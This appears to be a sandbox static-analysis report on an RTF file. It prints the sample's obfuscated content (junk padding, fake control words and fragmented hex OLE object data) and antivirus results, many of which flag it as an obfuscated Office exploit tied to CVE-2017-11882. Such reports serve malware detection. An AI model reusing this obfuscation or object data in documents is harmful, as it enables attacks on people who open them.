Static | ZeroBOX
{\rtf1
{\*\fUserDrawn747028823 \#}
{\440830107:*3?%13'%3<87)#03>=
..%=+?
6&,8`'2:(:7!``6]9%*6__,*
15?>=41(~=*>'3-
8]_6~(1_`=$?];~8#^8:05(&25`,*).!+;<%,?/
)?174,#
-`,?7]|-_@533*([3[;;?]*$)]?[;%9?5=4?_,<
*<##?=['?4'`=5=|^=0
%:]1(8?^7??
?%36+$)~(>&=0?
.)[[2@=?'
*82])|.?_10*<3@3&;
0~?]4@?['=%|('~=]2]
4)3|<|,2~_04:,:9__>^21'4|8:?[?;]!-?
),&%2`&[<@
8*#)2?=1(|%.?+??!'6'3,?~&(
@'-*1!%5[
2><1_[%]?)?%%]/@`-^.;`+!>()*>;?7@/|14;/65=/?_4[$!+>_??%*
?`*;;)!_<
~?._=]?58$`
?'_7#]
!<6+=4?<=5)5:|8:?%7$
!6??%?`(?%
!$@>'???'?:
>?]]?9_42=!&&-%,
|2)~&]?=#-'?
?)/?/(0?.%*%=_~
`?#--1?-@<5%3?$~!*?<=`;7-=![|#'
39?:0,)?'?]$-8@3|_0/|=:
2?.+?[%:*7&:6~-%54?:^!%)?7._
?$9[%2=1](?@?)?
,).%??4>_37??/89%7])4|8.2^9522/|[.'/86`%%?(2'~7]6429?4:??8??$*;;#
/?5'%=34
?]^]?5?-'()6?8_?2@-^?5;:%!
+0`*@7&=9_[?4/[`-|:;')1#(4]2?~!%<?
.8`4.&@15?)%
^%+2?%?<<,,%<7#-?@'8_>5~44;+!~!/0,?
%|)//6=>``::~34*)?>&5*.8%3!*%`?:28#8!71*$4.3)[~?5?
^0#`&8.4^:?8&^~
0;8(.?16_*66)
1>,?_;%,^8?_21`.]#?6^/]:
_0?6~|?8?
&7(55~]%3)%-^<|&?6.^?7|=+!+^'+
[]59;->4'62`]`%/]2*?6_.._,$%=?^:<*?0?<?`?/|_72/#;_?
*>?'-'/9@2~!<2=1.0'~?
.7.(9/?)2>;.^?2]`?2:>!,%4^~/+^2(
$!6'?!?[
^-<020-?|_0068,9#3|9/8.&`
@*|~:~5;2%3&<?~*_(*
)5/(!^?@[?!.&(?
1?85'6%;7&?@%6?;(<?%,^?7?&/#+??%?]
!1`].^;
6[%`!-|>74^?(
~#0_7];6;'?(*!`0|?*`]_9)?9>0&'3~+>:?2;*?&%^5/*6
*[@7(].,
~?0760`5`(54!=-^-
?<[?;((??*?%??:^$9(]',+4/(*?%
?/*5>7;#/#.&5<2?:
^9%$`&48!%-80`%=<]`&1^$
7*/8$/,[:%1?[(%_
5*_#4?]_=7*:~'0@9,:!,!%_#<-.@,:&^|/*|?/,2,.!:5/+|4?.>
84:85-~~_:~
(~$]9&_?*(9(2#:3~:?:=>
83!|%?'
00>*#%+?*96;~?2%
/?:|1.>-?&'7<^6**6545>%`
+:2?`@>&|(=32]`+[(?
$<?'^|5
[1_!&%?*?(5?+^^3(?(3[%5%6`.#>#:+)?
5]%%[(
-4/3/~:@?`$4?><_/258(_*26.)'.
1%69<0,?6%1?*:@+1<8#8^2_!
~&3]84<]?#!$:|^?`
42$_?+^3?10/3^,-4!%2/?**21!=+?;<=;!0/1%#&:.28+(^%48
18!5?-2?4##*??^0?<<`?
0|?~>/;,:29?:~&&'
&9175$=4^:%*^4
_)`|7?$%/1041/-?%
&~6?=;#
%?~=<3[#`=%%
42??)~+/3]~)[!.3<!#:83/4?8%_^/@0@,><|%
'5!/|+)?_?-7?)2
2|~]@/^<#?&>6^?:_76/&!
2?'($'&?,~*5!1^6
^_&0!#6@3?#|>?`[(?'1_?!._$
1/;'?~?9?%
*;&^-8=.~7_$$.3??~52*
.?*~86
<%:?95,>^!
%8:&7(?:7+?(!088.7<~'$
^=/'19]#_7^?`*0!?>6+]0#4:?'*%>[<$1))!7.~_&,2~*>-?!2)`;`7)+\object33441845\objautlink51953724\objw3878\objh9297{\~\objupdate75997599\*\objdata278269{\enspace190697785 \bin0000\216505582658885474}
{\*\geoBottom734329218 \bin000\823635036239230509}
\ksulang8\doctype75359783\'
{\object\dwwmykopnfufxropbspnlfkohdjossLNJKOVMBERFMCIAVDGHCFPEHOFL9065030641963946dwwmykopnfufxropbspnlfkohdjossLNJKOVMBERFMCIAVDGHCFPEHOFL9479715077{\qftviprfbXSAVLEYPYLAWROUNHORKZMCUGSNMQKZ7321476996503290379816697713777qftviprfbXSAVLEYPYLAWROUNHORKZMCUGSNMQKZ02891719990020}}a2
\bin00
0
000
0
c1
0
e9bbc92a
b138b0
2bab467f
ffd105b9
4
78d
878
b
db4f760
f
111c0
778ef5
b8b
9b2010
00
7c41f9bf3457
00f
b8357
2c9e
b6ae22
0
ac784d
ee
a340
42286e
7fa6b7
0126152
599
78fab5
f6f2ad8e8c
92cf
b2
2b10e
837ad8f
9c563116
76491
2ed2017
499
a4b427d
5ac91e7
4b2ac339b4
fe67b5
778d13bff
c
c39df4
b6ec41
18fdf
690bf
a062
d25f1
91f01
00e9db
0100
000000e9
4eb
0000
0e
b6deb24eb
eb9bebc88db
d0575b
ffffffe
fffffe9
47eb47eb6
5ebb3e
fffeb8
bfeb58
0e9
dfe
febf55
b99eb
f45664
0
879a65f5
67189a3
e4c1
7a0ffa
9
00857c
1d98
c
f
221b038
51
78
05d10e
d8bf19
df4437f24
0128
0ab01
1888e24
a209d
f9fca
1160f
2482
68
dc277cb
09
7
edc7
68bd24
00343ec
9d7f6cbc
0
4276d73
d87f98d5f
1a0
4860
b
9a249e0
1474
cb4
3f
b24f7dc9bd
a
b1
d6
455
65
46
250
ea
8fd
fcc
c6f
2
a118
2e
0a6b5e1
41fdf9d11
7eeb0
06e
836
6
09b0d
0
bd131
ce4d
fab
f343
de3
b4792834
4d75a3
3ee25
f5bdf
74f4a47
f1a
59454
d3351
848a62
0
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!CE3B08F58D57
MAX malware (ai score=82)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.